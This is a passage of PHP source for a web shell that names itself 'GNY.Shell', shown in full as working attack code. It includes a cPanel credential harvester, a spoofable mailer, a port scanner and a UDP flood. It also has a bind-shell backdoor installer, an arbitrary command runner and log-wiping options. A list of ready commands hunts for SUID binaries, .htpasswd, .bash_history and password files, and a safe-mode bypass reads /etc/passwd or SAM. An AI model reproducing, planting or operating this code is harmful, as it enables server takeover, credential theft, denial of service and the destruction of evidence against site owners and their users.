echo "[+] Found ".sizeof($users)." entrys in /etc/passwd\n";
echo "[+] Found ".sizeof($path_to_public)." readable public_html directories\n";
echo "[~] Searching for passwords in config.* files...\n\n";
foreach ($users as $user) {
$path="/home/$user/public_html/";
read_dir($path,$user);
}
echo "\n[+] Done\n";
echo "</textarea><br>";
}else
echo '<center>Are you sure you would like to search for cPanel accounts on this website/server?<br>Please note this may take a long time to execute depending on the website/server it is run on.<br><br><a href="'.$surl.'act=cpanel&go=go">Yes</a> || <a href="'.$surl.'">No</a></center>';
}
if ($act == 'phptools'){
?><center><?php
//mailer
echo '<b>Mailer</b><br>
<form action="'.$surl.'" method=GET>
<input type="hidden" name="act" value="phptools">
<input type=text name=to value=to><br>
<input type=text name=from value=from><br>
<input type=text name=subject value=subject><br>
<input type=text name=body value=body><br>
<input type=submit name=submit value=Submit></form>';
if (isset($_GET['to']) && isset($_GET['from']) && isset($_GET['subject']) && isset($_GET['body'])) {
$headers = 'From: '.$_GET['from'];
mail ($_GET['to'],$_GET['subject'],$_GET['body'],$headers);
echo 'Email sent.';
}
//port scanner
echo '<br><b>Port Scanner</b><br>';
$start = strip_tags($_GET['start']);
$end = strip_tags($_GET['end']);
$host = strip_tags($_GET['host']);
if(isset($_GET['host']) && is_numeric($_GET['end']) && is_numeric($_GET['start'])){
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font color=green>open</font><br>';
}
flush();
}
}else{
?>
<form action="?" method="get">
<input type="hidden" name="act" value="phptools">
Host:<br />
<input type="text" name="host" value="localhost"/><br />
Port start:<br />
<input type="text" name="start" value="0"/><br />
Port end:<br />
<input type="text" name="end" value="5000"/><br />
<input type="submit" value="Scan Ports" />
</form>
<?php
}
//UDP
if(isset($_GET['host'])&&is_numeric($_GET['time'])){
$pakits = 0;
ignore_user_abort(TRUE);
set_time_limit(0);
$exec_time = $_GET['time'];
$time = time();
//print "Started: ".time('h:i:s')."<br>";
$max_time = $time+$exec_time;
$host = $_GET['host'];
for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$pakits++;
if(time() > $max_time){
break;
}
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";
echo '<br><br>
<form action="'.$surl.'" method=GET>
<input type="hidden" name="act" value="phptools">
Host: <input type=text name=host value=localhost>
Length (seconds): <input type=text name=time value=9999>
<input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
<form action=? method=GET>
<input type="hidden" name="act" value="phptools">
Host: <br><input type=text name=host value=localhost><br>
Length (seconds): <br><input type=text name=time value=9999><br>
<input type=submit value=Go></form>';
}
?></center><?php
}
if ($act == 'shbd'){
$msg = $_POST['backcconnmsg'];
$emsg = $_POST['backcconnmsge'];
echo("<center><b>Bind Shell Backdoor:</b></br></br><form name=form method=POST>
Bind Port: <input type='text' name='backconnectport' value='5992'>
<input type='hidden' name='use' value='shbd'>
<input type='submit' value='Install Backdoor'></form>");
echo("$msg");
echo("$emsg");
echo("</center>");
} ?>
</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>
<tr><td width="100%" height="1" valign="top" colspan="2"></td></tr>
<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td>
<td width="50%" height="1" valign="top">
<center>Kernel Info: <form method="get" action="http://google.com/search">
<input name="q" type="text" size="80" value="<?php echo wordwrap(php_uname()); ?>">
<input type=submit value="Google!">
</form></center>
</td></tr>
</TABLE>
<br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>
<tr><td height="1" valign="top"></td></tr>
<tr><td width="100%" height="83" valign="top">
<center>
<table border=0>
<tr><td>
<center>Functions</center>
</td><td>
<center>Make Dir</center>
</td><td>
<center>Go Dir</center>
</td></tr>
<tr><td>
<center>
<form action="<?php echo $surl; ?>">
<input type=hidden name="d" value="<?php echo $dispd; ?>">
<SELECT NAME="act">
<OPTION VALUE="zap2">Wipe Logs Using zap2 (*nix)
<OPTION VALUE="clearlogs">Wipe Logs Using ClearLogs (Windows)
</SELECT><br>
<input type=submit name="submit" value="Execute"><br>
&nbsp;
</form>
</center>
</td><td>
<form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>">
<center>
<input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">
<br>
<input type=submit value="Create"><br><?php echo $wdt; ?></form>
</center>
</td><td>
<form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls">
<center>
<input type="text" name="d" size="50" value="<?php echo $dispd; ?>">
<br>
<input type=submit value="Go"><br>
&nbsp;
</form>
</center>
</td></tr>
<tr><td>
<center>Aliases</center>
</td><td>
<center>Make File</center>
</td><td>
<center>Go File</center>
</td></tr>
<tr><td>
<?php
// Command-aliases
if (!$win) // if the box isn't windows; most likely *nix
{
$cmdaliases = array(
array('-----------------------------------------------------------', 'ls -la'),
array('Currently Logged in Users', 'w'),
array('Last User to Connect', 'lastlog'),
array('Find Users Without a Password', 'cut -d: -f1,2,3 /etc/passwd | grep ::'),
array('Is /etc Writable?', 'find /etc/ -type f -perm -o+w 2> /dev/null'),
array('Installed Downloaders', 'which wget curl w3m lynx'),
array('Open Ports', 'netstat -an | grep -i listen'),
array('Box Uptime', 'uptime'),
array('System Variables', 'set'),
array('ARP table', 'arp -a'),
array('Patch Level for RedHat 7.0', 'rpm -qa'),
array('Network Interfaces', 'ifconfig'),
array('Mounted Filesystems', 'mount'),
array('Create 1GB File in Current Dir (for h00lyshit)', 'dd if=/dev/urandom of=./bigfile count=2M'),
array('Find Suid Bins', 'find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null'),
array("Find All Suid Files", "find / -type f -perm -04000 -ls"),
array("Find Suid Files in Current Dir", "find . -type f -perm -04000 -ls"),
array("Find All Sgid Files", "find / -type f -perm -02000 -ls"),
array("Find Sgid Files in Current Dir", "find . -type f -perm -02000 -ls"),
array("Find config.inc.php Files", "find / -type f -name config.inc.php"),
array("Find config* Files", "find / -type f -name \"config*\""),
array("Find config* Files in Current Dir", "find . -type f -name \"config*\""),
array("Find All Writable Folders and Files", "find / -perm -2 -ls"),
array("Find All Writable Folders and Files in Current Dir", "find . -perm -2 -ls"),
array("Find All service.pwd Files", "find / -type f -name service.pwd"),
array("Find service.pwd Files in Current Dir", "find . -type f -name service.pwd"),
array("Find All .htpasswd Files", "find / -type f -name .htpasswd"),
array("Find .htpasswd Files in Current Dir", "find . -type f -name .htpasswd"),
array("Find All .bash_history Files", "find / -type f -name .bash_history"),
array("Find .bash_history Files in Current Dir", "find . -type f -name .bash_history"),
array("Find All .fetchmailrc Files", "find / -type f -name .fetchmailrc"),
array("Find .fetchmailrc Files in Current Dir", "find . -type f -name .fetchmailrc"),
array("List File Attributes on a Linux Second Extended File System", "lsattr -va"),
);
}
else // if the box is windows
{
$cmdaliases = array(
array('-----------------------------------------------------------', 'dir'),
array('Active Connections', 'netstat -an'),
array('ARP Table', 'arp -a'),
array('Net Shares', 'net use'),
array('IP Configuration', 'ipconfig /all'),
array('Disk Quotas', 'fsutil quota query '.$pd[0]),
array('Drive Type', 'fsutil fsinfo drivetype '.$pd[0])
);
}
?>
<center><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">
<br>
<input type=submit name=submit value="Execute"><br>
&nbsp;
</form>
</center>
</td><td>
<center>
<form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
<input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
<br>
<input type=submit value="Create"><br><?php echo $wdt; ?></form>
</center>
</td><td>
<form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
<center>
<input type="text" name="f" size="50" value="<?php echo $dispd; ?>">
<br>
<input type=submit value="Go"></form>
<br>&nbsp;
</center>
</td></tr>
</table>
</center>
</td></tr>
</TABLE><br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>
<tr><td height="1" valign="top" colspan="2"></td></tr>
<tr><td width=50% height=83 valign=top>
<center>PHP Safe-Mode Bypass (Read File)<br><br>
<form action="<?php echo $surl; ?>" method=GET>
File: <input type=text name="file"> <input type=submit value="Read File">
<br><br>
e.g.: /etc/passwd or C:\WINDOWS\system32\.SAM
</form>
</center>
<?php
if(isset($_GET['file'])) {
$test='';
$temp=tempnam($test, 'cx');
$file=$_GET['file'];
$get=htmlspecialchars($file);
echo 'Trying To Get File <font color=#000099><b>'.$get.'</b></font><br>';
if(copy("compress.zlib://".$file, $temp)){
$fichier = fopen($temp, 'r');
$action = fread($fichier, filesize($temp));
fclose($fichier);
$source=htmlspecialchars($action);
echo '<b>Start '.$get.'</b><br><font color=white><pre>'.$source.'</pre></font><br><b>Fin <font color=#000099>'.$get.'</font></b>';
unlink($temp);
} else
echo '<font color=red><center>Sorry... File <b>'.htmlspecialchars($file).'</b> doesn\'t exist or you don\'t have access.</center></font>';
}
?>
</td><td width=50% height=83 valign=top>
<center>PHP Safe-Mode Bypass (Directory Listing)<br><br>
<form action="<?php echo $surl; ?>" method=GET>
Dir: <input type=text name="directory"> <input type=submit value="List Directory">
<br><br>
e.g.: /etc/ or C:\
</form>
</center>
<?php
if(isset($_GET['directory'])) {
$chemin = $_GET['directory'];
$files = glob("$chemin*");
echo 'Trying To List Folder <font color=#000099><b>'.$chemin.'</b></font><br><br>';
foreach ($files as $filename)
echo $filename."\n<br>"; // added the \n for easier readability while viewing the html source
}
?>
</td>
</tr></TABLE>
<br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>
<tr><td height="1" valign="top" colspan="2"></td></tr>
<tr>
<td width="50%" height="1" valign="top"><center>Search<form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td>
<td width="50%" height="1" valign="top"><center>Upload<form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
</tr>
</table>
<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><center>
<b>.:[ GNY.Shell Encoded v1.1 ! Stand@rd Edition</font> | Generated in: <?php echo round(getmicrotime()-starttime,4); ?> ]:.</b>
<br>
</center></td></tr></table>
</body></html><?php chdir($lastdir); GNYexit(); ?>